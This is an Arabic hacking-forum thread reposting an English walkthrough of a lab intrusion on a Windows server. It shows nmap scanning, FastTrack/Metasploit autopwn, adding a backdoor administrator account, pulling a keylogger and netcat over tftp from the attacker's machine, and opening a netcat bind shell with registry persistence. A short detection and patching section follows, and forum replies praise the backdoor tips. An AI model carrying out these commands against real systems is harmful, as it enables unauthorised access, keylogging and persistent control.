التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام


قديم 07-23-2009, 01:57 AM   رقم المشاركة : 1 (permalink)
معلومات العضو
 
الصورة الرمزية NEVER HaCKEr
 

 

 
إحصائية العضو





NEVER HaCKEr غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
NEVER HaCKEr is on a distinguished road

افتراضي Remote Exploitation




السلام عليكم ورحمة الله وبركاته



==


الموضوع يتكلم عن مشروع الميتا سبوليت وثغرات الريموت التي تستغل بعدة طرق
metaspolit

Remote Exploitation
The purpose of this blog entry is to demonstrate how easy it is for an attacker to use freely available tools to exploit servers and gain root (administrative) access. I also look at how this attack might have been spotted from the defenders point of view and what could have been done to prevent it.

Tools

  • Backtrack3
  • TCPDump
  • Nmap
  • FastTrack
  • Netcat
Below I will list the steps I took to own the server, plant a keylogger and a backdoor, and then set up the backdoor. This is a very basic attack and my aim is to demonstrate how an attacker with a relatively low skill level can succeed in exploiting your box.

I'll be using FastTrack as my primary tool to gain root. FastTrack is kind of like a front-end for Metasploit, but it is quite automated and just throws all the exploits at a target and builds a nice database as it goes. So it is very noisy and has a greater chance of crashing the target. Once finished it lists the sessions ready for the attacker to connect to.


The Attack

1. I start up a sniffer to see whats about and I discover a host that may be fun to play with. This was done using TCPdump.

tcpdump -i eth0 -vv



2. On the discovered host I use nmap to verify the open ports and the listening services. I just let nmap use the default port list rather than specifying a range at this time.

nmap 192.168.2.2 -T 4 -sV -P0 -n



3. After loading up FastTrack I select the "External Hackin" option.

4. Next I select "Autopwn Metasploit Automated" & enter the IP of my target.



5. I choose the database type of sqlite3. When prompted to update Metasploit I select "No" because i'm in a lab and i have no internet access. FastTrack goes to work and does it's noisy magic.



6. FastTrack has found 2 vulnerabilities that it has successfully exploited. Using the sessions -l command I can see these listed.



7. I pick a session and use it to connect to the server and I use the "whoami" command to verify that I am logged in as a system account with admin privileges.



8. I now go and add a new user and give the account admin rights using the "net user" and "net localgroup" commands.

net user synjunkie Password123 /add
net localgroup Administrators synjunkie /add



9. If I want a nice GUI I use RDP to connect to the host.



And now i can begin to look around my target and if necessary set up other back doors.




10. And if i want to get my tools onto the box to set the backdoor up or log keystrokes it's no problem. I set up a TFTP Server on my attacking box and use windows built in "tftp" command to pull across some tools.

tftp -i 192.168.2.1 GET klogger.exe
tftp -i 192.168.2.1 GET nc.exe




11. For my backdoor i create a netcat listener and shovel a shell back to whoever connects to it.

nc -p 6666 -L -e cmd.exe



To maintain access I could either use the "reg" command to create a registry entry to auto-start my backdoor at each reboot, or create a batch file and put it in the startup folder.

And on the attackers box I connect to my newly created backdoor.

nc 192.168.2.2 6666




owned!




Detection & Lessons Learned

1. The Server was behind on it's patches. Patching is fundamental to securing a system.

2. The Server had loads of listening services. Were all these services necessary? if not shut them down.

3. A new account was added to an administrator group. The Administrators group should always be closely monitored for unathorised changes.



4. From analysing the logs this attack was very noisy and could have easily have been detected.

Below are screenprints of the ftp and web logs. It is evident from these that an attack has taken place.



More tell-tale logs!



And the screenshot below shows that unauthorised entry has occurred.



However, this is after the attack and the damage could have already been done. Any decent attacker will also modify or delete logs so setting up a syslog server that is hardened is a good idea. Most Admins will set up a syslog server not realising that it needs hardening, as it will be critical to you in the event of an attack and can provide valuable information to help you identify the source of the attack and also help you learn from it to better protect your systems in the future.




تقبلووو مروري

اخوكم
:a42:


NEVER HaCKEr





Remote Exploitation

التوقيع


 

   

رد مع اقتباس
قديم 07-23-2009, 02:16 AM   رقم المشاركة : 2 (permalink)
معلومات العضو
 
الصورة الرمزية PASSEWORD
 

 

 
إحصائية العضو








PASSEWORD غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
PASSEWORD is on a distinguished road

افتراضي


موضوع شيق و يحتاج بعض الوقت لقرائته كاملا
شكرا لك

التوقيع

*********************
حكمة : كل انسان يستطيع ان يكون الاول اذا اراد ذلك

 

   

رد مع اقتباس
قديم 07-23-2009, 02:17 AM   رقم المشاركة : 3 (permalink)
معلومات العضو
 
الصورة الرمزية NEVER HaCKEr
 

 

 
إحصائية العضو





NEVER HaCKEr غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
NEVER HaCKEr is on a distinguished road

افتراضي


العفووو حبيبي ماسوينا شي

:41:

التوقيع


 

   

رد مع اقتباس
قديم 07-23-2009, 03:37 AM   رقم المشاركة : 4 (permalink)
معلومات العضو
 
إحصائية العضو





HACK@R AL BASR3H غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
HACK@R AL BASR3H is on a distinguished road

افتراضي


مشككككككككككور حبيبي على الشرح

   

رد مع اقتباس
قديم 07-23-2009, 01:54 PM   رقم المشاركة : 5 (permalink)
معلومات العضو
 
إحصائية العضو







ابو بدر غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 11
ابو بدر is on a distinguished road

افتراضي


شرح رائع
سلام

   

رد مع اقتباس
قديم 10-28-2009, 09:06 PM   رقم المشاركة : 6 (permalink)
معلومات العضو
 
الصورة الرمزية ViRuS_HiMa
 

 

 
إحصائية العضو





ViRuS_HiMa غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
ViRuS_HiMa is on a distinguished road

افتراضي


فعلا اخي من افضل الشروحات اللي قرئتها عن التريكس او الخداع فقط لانه لم يتحدث عن الميتا سبلويت بطلاقه هو فقط فحص الايبي ووجد احد الخدمات التي يمكن استغلالها لاكن اكثر ما اعجبني في الموضوع هو حديثثه عن كيف تبقي علي الوندوز بوكس لاطول فتره من طرح باكدورز او وضع كود تعديل في الرجستري لتشغيل الباك دور الخاص به مع كل ريبوت للنظام

شكرا لك اخي علي الموضوع . وجزاك الله خيرا . وكاتب الموضوع كذلك .

   

رد مع اقتباس
قديم 10-30-2009, 07:36 PM   رقم المشاركة : 7 (permalink)
معلومات العضو
 
الصورة الرمزية NEVER HaCKEr
 

 

 
إحصائية العضو





NEVER HaCKEr غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
NEVER HaCKEr is on a distinguished road

افتراضي


هلا فيك يازعيم فايروس هيما لوووووووووول منورنا بهالطله يازعيم خلينا نشوف ابداعك بالمنتدى يافايروس هيما

تقبلووووووووو مروري جميعا حبايبي وشاكرلكم على الرد الرائع ^^

التوقيع


 

   

رد مع اقتباس
قديم 08-10-2010, 09:08 PM   رقم المشاركة : 8 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي


والله لازمني دوره انجليزي ههههه

التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
Remote Msn Stealer V 1.0 Br.l!nc قـسـم الـبـريد الإلـكتروني والحسابات العامة 7 07-29-2010 08:02 PM
شرح ثغرات فيض المكدس - Stack OverFlow Exploitation درس بالعربي + فيديو تطبيقي LAV4 Buffer OverFlow 8 01-28-2010 07:44 PM
شرح فيديو:simple remote buffer over... exploitation data$hack Penteration Testing Training 16 12-20-2009 07:08 PM


الساعة الآن 05:18 PM


[ vBspiders.Com Network ]

SEO by vBSEO 3.6.0